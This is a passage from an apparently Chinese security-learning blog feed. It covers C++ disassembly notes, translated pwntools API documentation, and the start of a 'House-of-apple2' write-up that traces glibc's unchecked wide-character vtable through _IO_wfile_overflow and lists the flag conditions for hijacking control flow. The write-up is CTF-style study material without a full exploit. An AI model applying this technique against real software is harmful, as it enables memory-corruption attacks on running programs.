class="hljs-keyword">public</span>:<br> <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">Print</span><span class="hljs-params">()</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"aaa"</span>);<br> }<br><br>};<br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span><br><span class="hljs-function"></span>{<br> Stundent* s=<span class="hljs-keyword">new</span> <span class="hljs-built_in">Stundent</span>();<br> s-><span class="hljs-built_in">Print</span>();<br> <span class="hljs-built_in">delete</span>(s);<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs assembly">.text:00000000000011B8 ; 7: operator delete(v4, 1uLL);<br>.text:00000000000011B8 BE 01 00 00 00 mov esi, 1 ; unsigned __int64<br>.text:00000000000011BD 48 89 C7 mov rdi, rax ; void *<br>.text:00000000000011C0 E8 BB FE FF FF call __ZdlPvm ; operator delete(void *,ulong)<br></code></pre></td></tr></table></figure><p>operator delete(void *,ulong)本质是调用free</p><p>???1:成员属性结构是否有对齐</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Stundent</span></span><br><span class="hljs-class">{</span><br>public:<br> <span class="hljs-type">int</span> ages;<br> <span class="hljs-type">char</span> x;<br>};<br><br><span class="hljs-type">int</span> <span class="hljs-title function_">main</span><span class="hljs-params">()</span><br>{<br> Stundent* s=new Stundent();<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><code class="hljs assembly">.text:0000000000001155 BF 08 00 00 00 mov edi, 8 ; unsigned __int64<br>.text:000000000000115A E8 F1 FE FF FF call __Znwm ; operator new(ulong)<br></code></pre></td></tr></table></figure><p>存在对齐</p><p>???2: 假如属性为空,成员函数是否还会传参,是否会使用operator new</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><code class="hljs c++"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><stdio.h></span></span><br><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string"><string.h></span></span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Stundent</span><br>{<br><span class="hljs-keyword">public</span>:<br> <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">Print</span><span class="hljs-params">()</span></span><br><span class="hljs-function"> </span>{<br> <span class="hljs-built_in">puts</span>(<span class="hljs-string">"aaa"</span>);<br> }<br><br>};<br><br><span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span><br><span class="hljs-function"></span>{<br> Stundent* s=<span class="hljs-keyword">new</span> <span class="hljs-built_in">Stundent</span>();<br> s-><span class="hljs-built_in">Print</span>();<br> <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>}<br></code></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><code class="hljs assembly">endbr64<br>.text:000000000000116D 55 push rbp<br>.text:000000000000116E 48 89 E5 mov rbp, rsp<br>.text:0000000000001171 48 83 EC 10 sub rsp, 10h<br>.text:0000000000001175 BF 01 00 00 00 mov edi, 1 ; unsigned __int64<br>.text:000000000000117A E8 E1 FE FF FF call __Znwm ; operator new(ulong)<br>.text:000000000000117A<br>.text:000000000000117F 48 89 45 F8 mov [rbp+var_8], rax<br>.text:0000000000001183 48 8B 45 F8 mov rax, [rbp+var_8]<br>.text:0000000000001187 48 89 C7 mov rdi, rax ; this<br>.text:000000000000118A E8 07 00 00 00 call _ZN8Stundent5PrintEv ; Stundent::Print(void)<br>.text:000000000000118A<br>.text:000000000000118F B8 00 00 00 00 mov eax, 0<br>.text:0000000000001194 C9 leave<br>.text:0000000000001195 C3 retn<br></code></pre></td></tr></table></figure><p>没有属性值也会operator new,大小是1字节,即便不使用成员属性,也会传参</p><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs"><br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>C++</category>
</categories>
<tags>
<tag>C++</tag>
</tags>
</entry>
<entry>
<title>Pwntools</title>
<link href="/2024/06/15/Pwn/Pwntools/"/>
<url>/2024/06/15/Pwn/Pwntools/</url>
<content type="html"><![CDATA[<h1 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h1><p>pwntools相关说明,参照<a href="https://docs.pwntools.com/">https://docs.pwntools.com/</a></p><h1 id="context"><a href="#context" class="headerlink" title="context"></a>context</h1><p>全局环境变量</p><h2 id="arch-目标架构"><a href="#arch-目标架构" class="headerlink" title="arch 目标架构"></a>arch 目标架构</h2><p>常用: amd64 i386 arm mips</p><h2 id="os-目标操作系统"><a href="#os-目标操作系统" class="headerlink" title="os 目标操作系统"></a>os 目标操作系统</h2><p>默认linux</p><h1 id="GDB"><a href="#GDB" class="headerlink" title="GDB"></a>GDB</h1><h2 id="Breakpoint类"><a href="#Breakpoint类" class="headerlink" title="Breakpoint类"></a>Breakpoint类</h2><h2 id="pwnlib-gdb-attach"><a href="#pwnlib-gdb-attach" class="headerlink" title="pwnlib.gdb.attach"></a>pwnlib.gdb.attach</h2><p>函数原型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">pwnlib.gdb.attach(target, gdbscript=<span class="hljs-string">''</span>, exe=<span class="hljs-literal">None</span>, gdb_args=<span class="hljs-literal">None</span>, ssh=<span class="hljs-literal">None</span>, sysroot=<span class="hljs-literal">None</span>, api=<span class="hljs-literal">False</span>)<br></code></pre></td></tr></table></figure><p>函数功能:在新终端中启动 GDB 并附加到目标</p><p>参数解释</p><ul><li><code>target</code> – 要附加的目标。</li><li><code>gdbscript</code> (str 或 file) – 附加后运行的 GDB 脚本。</li><li><code>exe</code> (str) – 目标二进制文件的路径。</li><li><code>arch</code> (str) – 目标二进制文件的架构。如果已知 <code>exe</code>,GDB 会自动检测架构(如果支持)。</li><li><code>gdb_args</code> (list) – 传递给 GDB 的附加参数列表。</li><li><code>ssh</code> (optional) – SSH 会话对象,用于远程调试。</li><li><code>sysroot</code> (str) – 设置备用系统根目录。系统根目录用于加载绝对共享库符号文件。这对于指示 GDB 加载本地版本的二进制文件/库而不是从 gdbserver 下载它们非常有用,这样更快。</li><li><code>api</code> (bool) – 启用对 GDB Python API 的访问。</li></ul><p>返回值 :GDB 进程的 PID(或运行 GDB 的窗口)。当 <code>api=True</code> 时,返回一个 <code>(PID, Gdb)</code> 元组。</p><h2 id="pwnlib-gdb-debug"><a href="#pwnlib-gdb-debug" class="headerlink" title="pwnlib.gdb.debug"></a>pwnlib.gdb.debug</h2><p>原型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">pwnlib.gdb.debug(args, gdbscript=<span class="hljs-literal">None</span>, exe=<span class="hljs-literal">None</span>, ssh=<span class="hljs-literal">None</span>, env=<span class="hljs-literal">None</span>, sysroot=<span class="hljs-literal">None</span>, api=<span class="hljs-literal">False</span>, **kwargs)<br></code></pre></td></tr></table></figure><p>参数</p><ul><li><code>args</code> (list) – 传递给进程的参数,类似于 <code>process</code>。</li><li><code>gdbscript</code> (str) – 要运行的 GDB 脚本。</li><li><code>exe</code> (str) – 磁盘上可执行文件的路径。</li><li><code>env</code> (dict) – 启动二进制文件的环境变量。</li><li><code>ssh</code> (ssh) – 用于启动进程的远程 SSH 会话。</li><li><code>sysroot</code> (str) – 设置备用系统根目录。系统根目录用于加载绝对共享库符号文件。这对于指示 GDB 加载本地版本的二进制文件/库而不是从 gdbserver 下载它们非常有用,这样更快。</li><li><code>api</code> (bool) – 启用对 GDB Python API 的访问。</li></ul><p>返回值 <code>process</code> 或 <code>ssh_channel</code> – 一个连接到目标进程的管道。当 <code>api=True</code> 时,返回对象的 <code>gdb</code> 成员包含一个 <code>Gdb</code> 实例。</p><h2 id="pwnlib-gdb-debug-assembly"><a href="#pwnlib-gdb-debug-assembly" class="headerlink" title="pwnlib.gdb.debug_assembly"></a>pwnlib.gdb.debug_assembly</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">pwnlib.gdb.debug_assembly(asm, gdbscript=<span class="hljs-literal">None</span>, vma=<span class="hljs-literal">None</span>, api=<span class="hljs-literal">False</span>)<br></code></pre></td></tr></table></figure><p>创建ELF文件并加载asm_code并使用调试器启动</p><ul><li><strong>asm</strong> (<a href="https://docs.python.org/3.8/library/stdtypes.html#str"><em>str</em></a>) – 加载的shellcode</li><li><strong>gdbscript</strong> (<a href="https://docs.python.org/3.8/library/stdtypes.html#str"><em>str</em></a>) – gdb脚本</li><li><strong>vma</strong> (<a href="https://docs.python.org/3.8/library/functions.html#int"><em>int</em></a>) – shellcode加载基址</li><li><strong>api</strong> (<a href="https://docs.python.org/3.8/library/functions.html#bool"><em>bool</em></a>) – 启用对 GDB Python API 的访问</li><li>*<strong>*kwargs</strong> – 重写 <a href="https://docs.pwntools.com/en/stable/context.html#pwnlib.context.context"><code>pwnlib.context.context</code></a> 变量</li></ul><p>返回process对象</p><h2 id="pwnlib-gdb-debug-shellcode"><a href="#pwnlib-gdb-debug-shellcode" class="headerlink" title="pwnlib.gdb.debug_shellcode"></a>pwnlib.gdb.debug_shellcode</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">pwnlib.gdb.debug_shellcode(data, gdbscript=<span class="hljs-literal">None</span>, vma=<span class="hljs-literal">None</span>, api=<span class="hljs-literal">False</span>)<br></code></pre></td></tr></table></figure><ul><li><strong>data</strong> (<a href="https://docs.python.org/3.8/library/stdtypes.html#str"><em>str</em></a>) – 已汇编的 shellcode 字节</li><li><strong>gdbscript</strong> (<a href="https://docs.python.org/3.8/library/stdtypes.html#str"><em>str</em></a>) – gdb脚本</li><li><strong>vma</strong> (<a href="https://docs.python.org/3.8/library/functions.html#int"><em>int</em></a>) – shellcode加载基址</li><li><strong>api</strong> (<a href="https://docs.python.org/3.8/library/functions.html#bool"><em>bool</em></a>) – 启用对 GDB Python API 的访问</li><li>*<strong>*kwargs</strong> – 重写 <a href="https://docs.pwntools.com/en/stable/context.html#pwnlib.context.context"><code>pwnlib.context.context</code></a> 变量</li></ul><h2 id="debug-assembly和debug-shellcode区别"><a href="#debug-assembly和debug-shellcode区别" class="headerlink" title="debug_assembly和debug_shellcode区别"></a>debug_assembly和debug_shellcode区别</h2><ul><li>第一个参数不同</li><li>debug_assembly 会处理代码中的符号</li></ul><h1 id="tubes"><a href="#tubes" class="headerlink" title="tubes"></a>tubes</h1><p>pwnlib.tubes 模块是 Pwntools(一个安全和利用框架)中用于与各种通信通道进行交互的统一 API</p><h2 id="pwnlib-tubes-process-process"><a href="#pwnlib-tubes-process-process" class="headerlink" title="pwnlib.tubes.process.process"></a>pwnlib.tubes.process.process</h2><p>本身是一个类,其构造函数返回这个类</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">class</span> <span class="hljs-title class_">pwnlib</span>.tubes.process.process(argv=<span class="hljs-literal">None</span>, shell=<span class="hljs-literal">False</span>, executable=<span class="hljs-literal">None</span>, cwd=<span class="hljs-literal">None</span>, env=<span class="hljs-literal">None</span>, stdin=-<span class="hljs-number">1</span>, stdout=<pwnlib.tubes.process.PTY <span class="hljs-built_in">object</span>>, stderr=-<span class="hljs-number">2</span>, close_fds=<span class="hljs-literal">True</span>, preexec_fn=<function process.<<span class="hljs-keyword">lambda</span>>>, raw=<span class="hljs-literal">True</span>, aslr=<span class="hljs-literal">None</span>, setuid=<span class="hljs-literal">None</span>, where=<span class="hljs-string">'local'</span>, display=<span class="hljs-literal">None</span>, alarm=<span class="hljs-literal">None</span>, *args, **kwargs)<br></code></pre></td></tr></table></figure><p>参数说明:</p><ul><li><code>argv</code> (list): 要传递给新进程的参数列表。</li><li><code>shell</code> (bool): 如果设置为True,将<code>argv</code>解释为一个传递给shell解释的字符串,而不是参数列表。</li><li><code>executable</code> (str): 要执行的二进制文件路径。如果为None,使用<code>argv[0]</code>。不能与<code>shell</code>一起使用。</li><li><code>cwd</code> (str): 工作目录。默认为当前工作目录。</li><li><code>env</code> (dict): 环境变量。默认继承Python的环境。</li><li><code>stdin</code> (int): 用于stdin的文件对象或文件描述符编号。默认使用管道。通过设置为PTY可以使用伪终端,这将导致程序以交互方式运行(例如,Python将显示<code>>>></code>提示符)。如果应用程序直接从<code>/dev/tty</code>读取,请使用伪终端。</li><li><code>stdout</code> (int): 用于stdout的文件对象或文件描述符编号。默认使用伪终端,以禁用libc例程的任何stdout缓冲。也可以是PIPE,以使用普通管道。</li><li><code>stderr</code> (int): 用于stderr的文件对象或文件描述符编号。默认使用STDOUT。也可以是PIPE,以使用单独的管道,尽管pwnlib.tubes.tube.tube封装将无法读取此数据。</li><li><code>close_fds</code> (bool): 关闭除stdin、stdout、stderr以外的所有打开的文件描述符。默认值为True。</li><li><code>preexec_fn</code> (callable): 在调用execve之前立即调用的可调用对象。</li><li><code>raw</code> (bool): 将创建的伪终端设置为原始模式(即禁用回显和控制字符)。默认值为True。如果未创建伪终端,则此设置无效。</li><li><code>aslr</code> (bool): 如果设置为False,通过personality(setarch -R)和setrlimit(ulimit -s unlimited)禁用ASLR。这将禁用目标进程的ASLR。然而,如果执行了setuid二进制文件,则setarch的更改将丢失。默认值继承自context.aslr。有关其他选项和信息,请参见setuid。</li><li><code>setuid</code> (bool): 用于控制目标二进制文件的setuid状态以及相应的操作。默认值为None,因此不做任何假设。如果为True,将目标二进制文件视为setuid。如果<code>aslr=False</code>,这将修改用于禁用进程上的ASLR的机制。这对于在本地调试时非常有用,当漏洞利用是一个setuid二进制文件时。如果为False,防止目标二进制文件上的setuid位生效。此功能仅在Linux上支持,内核版本需为v3.5或更高。</li><li><code>where</code> (str): 进程运行的位置,用于日志记录。</li><li><code>display</code> (list): 要显示的参数列表,而不是主可执行文件名。</li><li><code>alarm</code> (int): 在进程上设置一个SIGALRM报警超时。</li></ul><p>process类常用方法</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><code class="hljs python">close() <span class="hljs-comment">#关闭管道</span><br>kill() <span class="hljs-comment">#杀死子进程</span><br>leak(address, count=<span class="hljs-number">1</span>) <span class="hljs-comment">#泄露子进程在指定地址处的内存</span><br>-address (<span class="hljs-built_in">int</span>): 要泄露内存的起始地址。<br>-count (<span class="hljs-built_in">int</span>): 要泄露的字节数,默认为<span class="hljs-number">1</span>。<br>libs() -> <span class="hljs-built_in">dict</span>: <span class="hljs-comment">#返回一个字典,将每个共享库的路径映射到它在进程地址空间中的加载地址</span><br></code></pre></td></tr></table></figure><h1 id="pwnlib-elf-elf"><a href="#pwnlib-elf-elf" class="headerlink" title="pwnlib.elf.elf"></a>pwnlib.elf.elf</h1><h2 id="class-pwnlib-elf-elf-ELF-path-checksec-True"><a href="#class-pwnlib-elf-elf-ELF-path-checksec-True" class="headerlink" title="class pwnlib.elf.elf.ELF(path, checksec=True)"></a>class pwnlib.elf.elf.ELF(path, checksec=True)</h2><p>-path 文件路径</p><p>-checksec 是否使用checksec</p><h2 id="bss-offset"><a href="#bss-offset" class="headerlink" title="bss(offset)"></a>bss(offset)</h2><p>返回对bss的偏移地址</p><h2 id="symbols"><a href="#symbols" class="headerlink" title="symbols"></a>symbols</h2><p>符号到地址的映射字典</p><h2 id="got"><a href="#got" class="headerlink" title="got"></a>got</h2><p>got表条目到地址的映射的字典</p><h2 id="plt"><a href="#plt" class="headerlink" title="plt"></a>plt</h2><p>plt表条目到地址的映射的字典</p><h1 id="dynelf"><a href="#dynelf" class="headerlink" title="dynelf"></a>dynelf</h1><h1 id="asm"><a href="#asm" class="headerlink" title="asm"></a>asm</h1><h2 id="asm-1"><a href="#asm-1" class="headerlink" title="asm"></a>asm</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs python">pwnlib.asm.asm(code, vma = <span class="hljs-number">0</span>, extract = <span class="hljs-literal">True</span>, shared = <span class="hljs-literal">False</span>, ...)<br></code></pre></td></tr></table></figure><ul><li><code>code (str)</code> – 要汇编的汇编代码。</li><li><code>vma (int)</code> – 汇编开始的虚拟内存地址。</li><li><code>extract (bool)</code> – 从汇编文件中提取原始汇编字节。如果为 False,则返回包含嵌入汇编的 ELF 文件的路径。</li><li><code>shared (bool)</code> – 创建一个共享对象。</li><li><code>kwargs (dict)</code> – 可以设置任何 <code>context</code> 上的属性,例如 <code>set arch='arm'</code>。</li></ul><h1 id="辅助函数"><a href="#辅助函数" class="headerlink" title="辅助函数"></a>辅助函数</h1><h2 id="PrintProcessMemoryBase"><a href="#PrintProcessMemoryBase" class="headerlink" title="PrintProcessMemoryBase"></a>PrintProcessMemoryBase</h2><p>打印process对象的映射的共享库的加载基址</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs python"><span class="hljs-keyword">def</span> <span class="hljs-title function_">PrintProcessMemoryBase</span>(<span class="hljs-params">p</span>):<br> a=p.libs()<br> <span class="hljs-keyword">for</span> key,value <span class="hljs-keyword">in</span> a.items():<br> <span class="hljs-built_in">print</span>(key+<span class="hljs-string">" -> "</span>+<span class="hljs-built_in">hex</span>(value))<br></code></pre></td></tr></table></figure>]]></content>
<categories>
<category>Pwn</category>
</categories>
<tags>
<tag>Pwn</tag>
</tags>
</entry>
<entry>
<title>GDB-python</title>
<link href="/2024/06/15/GDB-python/"/>
<url>/2024/06/15/GDB-python/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>有效模糊测试的需求</title>
<link href="/2024/06/12/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%9C%89%E6%95%88%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E7%9A%84%E9%9C%80%E6%B1%82/"/>
<url>/2024/06/12/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%9C%89%E6%95%88%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95%E7%9A%84%E9%9C%80%E6%B1%82/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>模糊测试-第四章-数据表示和分析</title>
<link href="/2024/06/11/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA%E5%92%8C%E5%88%86%E6%9E%90/"/>
<url>/2024/06/11/%E6%A8%A1%E7%B3%8A%E6%B5%8B%E8%AF%95/%E6%95%B0%E6%8D%AE%E8%A1%A8%E7%A4%BA%E5%92%8C%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h1 id="简述"><a href="#简述" class="headerlink" title="简述"></a>简述</h1><p>协议是数据传输和数据处理的基础</p><h1 id="什么是协议"><a href="#什么是协议" class="headerlink" title="什么是协议"></a>什么是协议</h1><p>协议是建立或控制连接,通信或数据传输的约定或标准</p><h1 id="协议域"><a href="#协议域" class="headerlink" title="协议域"></a>协议域</h1><p> 实际是结构体的成员,重点在于终端如何解析</p><h1 id="简单文本协议,二进制协议,网络协议"><a href="#简单文本协议,二进制协议,网络协议" class="headerlink" title="简单文本协议,二进制协议,网络协议"></a>简单文本协议,二进制协议,网络协议</h1><p>本质没有区别,对于计算机而言</p><h1 id="文件格式"><a href="#文件格式" class="headerlink" title="文件格式"></a>文件格式</h1>]]></content>
<categories>
<category>模糊测试</category>
</categories>
<tags>
<tag>模糊测试</tag>
</tags>
</entry>
<entry>
<title>fopen分析</title>
<link href="/2024/06/10/fopen%E5%88%86%E6%9E%90/"/>
<url>/2024/06/10/fopen%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[]]></content>
</entry>
<entry>
<title>House-of-apple2</title>
<link href="/2024/06/09/Pwn/House-of-apple2/"/>
<url>/2024/06/09/Pwn/House-of-apple2/</url>
<content type="html"><![CDATA[<p>简述</p><p>在glibc 2.24以后出现的IO check 尽管封住了FSOP的利用,但是根据源码,检查还是不完整</p><p>以下代码来自glibc 2.27</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-comment">//三个宏定义函数跳转</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)</span><br><span class="hljs-comment">//宏替换检查</span><br><span class="hljs-meta"># <span class="hljs-keyword">define</span> _IO_JUMPS_FUNC(THIS) \</span><br><span class="hljs-meta"> (IO_validate_vtable \</span><br><span class="hljs-meta"> (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS)\</span><br><span class="hljs-meta"> + (THIS)->_vtable_offset)))</span><br></code></pre></td></tr></table></figure><p>但是宽字符处理的宏函数没有检查</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-keyword">define</span> WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> WJUMP2(FUNC, THIS, X1, X2) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> WJUMP3(FUNC, THIS, X1,X2,X3) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> _IO_WIDE_JUMPS(THIS) \</span><br><span class="hljs-meta"> _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable</span><br><span class="hljs-meta">#<span class="hljs-keyword">define</span> _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \</span><br><span class="hljs-meta"> (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \</span><br><span class="hljs-meta"> + offsetof(TYPE, MEMBER)))</span><br></code></pre></td></tr></table></figure><p>明显在_IO_WIDE_JUMPS,使用了wide_data字段的wide_vtable虚表</p><p>宏展开并没有检查wide_vtable虚表指针,因此任何函数使用WJUMP类的函数宏都是不安全的</p><p>IO结构体中存在成员</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">IO_wide_data</span> *_<span class="hljs-title">wide_data</span>;</span><br></code></pre></td></tr></table></figure><h1 id="IO-wfile-overflow-函数链分析"><a href="#IO-wfile-overflow-函数链分析" class="headerlink" title="_IO_wfile_overflow 函数链分析"></a>_IO_wfile_overflow 函数链分析</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><code class="hljs c">_IO_wfile_overflow<br> _IO_wdoallocbuf<br> _IO_WDOALLOCATE<br> *(fp->_wide_data->_wide_vtable + <span class="hljs-number">0x68</span>)(fp)<br></code></pre></td></tr></table></figure><h2 id="IO-wfile-overflow"><a href="#IO-wfile-overflow" class="headerlink" title="_IO_wfile_overflow"></a>_IO_wfile_overflow</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">wint_t</span><br>_IO_wfile_overflow (FILE *f, <span class="hljs-type">wint_t</span> wch)<br>{<br> <span class="hljs-keyword">if</span> (f->_flags & _IO_NO_WRITES) <span class="hljs-comment">/* SET ERROR */</span><br> {<br> f->_flags |= _IO_ERR_SEEN;<br> __set_errno (EBADF);<br> <span class="hljs-keyword">return</span> WEOF;<br> }<br> <span class="hljs-comment">/* If currently reading or no buffer allocated. */</span><br> <span class="hljs-keyword">if</span> ((f->_flags & _IO_CURRENTLY_PUTTING) == <span class="hljs-number">0</span>)<br> {<br> <span class="hljs-comment">/* Allocate a buffer if needed. */</span><br> <span class="hljs-keyword">if</span> (f->_wide_data->_IO_write_base == <span class="hljs-number">0</span>)<br>{<br> _IO_wdoallocbuf (f);<span class="hljs-comment">// 需要走到这里</span><br> <span class="hljs-comment">// ......</span><br> }<br> }<br>}<br></code></pre></td></tr></table></figure><p>需要满足 </p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><code class="hljs c">f->_flags & _IO_NO_WRITES == <span class="hljs-number">0</span><br>f->_flags & _IO_CURRENTLY_PUTTING == <span class="hljs-number">0</span><br>f->_wide_data->_IO_write_base == <span class="hljs-number">0</span><br></code></pre></td></tr></table></figure><h2 id="IO-wdoallocbuf"><a href="#IO-wdoallocbuf" class="headerlink" title="_IO_wdoallocbuf"></a>_IO_wdoallocbuf</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><code class="hljs c"><span class="hljs-type">void</span><br>_IO_wdoallocbuf (_IO_FILE *fp)<br>{<br> <span class="hljs-keyword">if</span> (fp->_wide_data->_IO_buf_base)<br> <span class="hljs-keyword">return</span>;<br> <span class="hljs-keyword">if</span> (!(fp->_flags & _IO_UNBUFFERED))<br> <span class="hljs-keyword">if</span> ((<span class="hljs-type">wint_t</span>)_IO_WDOALLOCATE (fp) != WEOF)<br> <span class="hljs-keyword">return</span>;<br> _IO_wsetb (fp, fp->_wide_data->_shortbuf,<br> fp->_wide_data->_shortbuf + <span class="hljs-number">1</span>, <span 